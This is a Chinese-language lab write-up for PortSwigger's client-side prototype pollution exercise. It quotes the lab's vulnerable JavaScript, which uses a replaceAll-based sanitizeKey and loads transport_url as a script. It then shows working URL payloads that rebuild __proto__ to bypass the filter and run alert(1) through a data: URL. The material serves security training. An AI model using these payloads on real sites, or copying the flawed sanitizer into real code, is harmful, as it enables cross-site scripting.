> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/client-side-prototype-pollution-via-flawed-sanitization.md).

# 通过有缺陷的净化实现客户端原型污染

通过有缺陷的净化实现客户端原型污染，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下

### 客户端原型污染：通过有缺陷的清理

#### (1) 背景与基本思路

应用读取 URL 设置，然后通过 `deparam(...)`:

* 它构造 `config = { params: deparam(...) }`
* 然后它使用 `config.transport_url` 来加载一个 `<script src="...">`

为了避免原型污染，开发者添加了 `sanitizeKey()` 它会移除键中的以下子串：/ `constructor`, `__proto__`, `prototype`.

问题：这个清理只是一个 **replaceAll**。如果 **把** 受禁止的单词切成碎片，替换后它可以 **重构**.

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("保存查询失败");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}

window.addEventListener("load", searchLogger);
```

#### 2) 来源：绕过过滤并污染 `Object.prototype`

过滤器会移除 `__proto__` 如果它原样存在。/ 它通过把 `__proto__` **放在中间** 放在一个更大的键中，这样在删除之后，最终键就会恰好变成 `__proto__`.

载荷：

```javascript
?__pro__proto__to__[foo]=bar
```

清理后：

* `__pro__proto__to__` →（删除 `__proto__`) → `__proto__`

所以它就像：

* `?__proto__[foo]=bar` -> 全局原型污染

在控制台中检查：

```javascript
console.log({}.foo)
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-546fe8d5be3955db7a0141ecbd6987dfef057fc0%2Fimage%20(120).png?alt=media" alt="" width="520"><figcaption></figcaption></figure>

#### (4) 最终利用：触发 `alert()`

`transport_url` 被污染为一个 `data:` 在脚本加载时运行 JS 的协议：

```javascript
?__pro__proto__to__[transport_url]=data:,alert(1)
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0d617c524d392efe065d704bfad6d18c35226c81%2Fimage%20(121).png?alt=media" alt=""><figcaption></figcaption></figure>


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